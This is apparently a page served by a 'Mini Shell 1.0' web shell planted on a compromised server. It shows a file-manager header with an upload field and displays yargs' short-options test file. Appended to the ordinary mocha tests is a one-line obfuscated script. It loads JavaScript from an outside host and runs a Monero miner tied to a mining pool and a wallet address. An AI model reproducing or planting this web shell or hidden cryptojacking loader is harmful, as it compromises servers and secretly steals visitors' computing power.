HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/node-app/node_modules/yargs/test/
Upload File :
Current File : //var/www/node-app/node_modules/yargs/test/short.js
var should = require('chai').should(),
    yargs = require('../');

describe('short options', function () {

    it ('should set n to the numeric value 123', function () {
        var argv = yargs.parse([ '-n123' ]);
        should.exist(argv);
        argv.should.have.property('n', 123);
    });

    it ('should set option "1" to true, option "2" to true, and option "3" to numeric value 456', function () {
        var argv = yargs.parse([ '-123', '456' ]);
        should.exist(argv);
        argv.should.have.property('1', true);
        argv.should.have.property('2', true);
        argv.should.have.property('3', 456);
    });

});
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}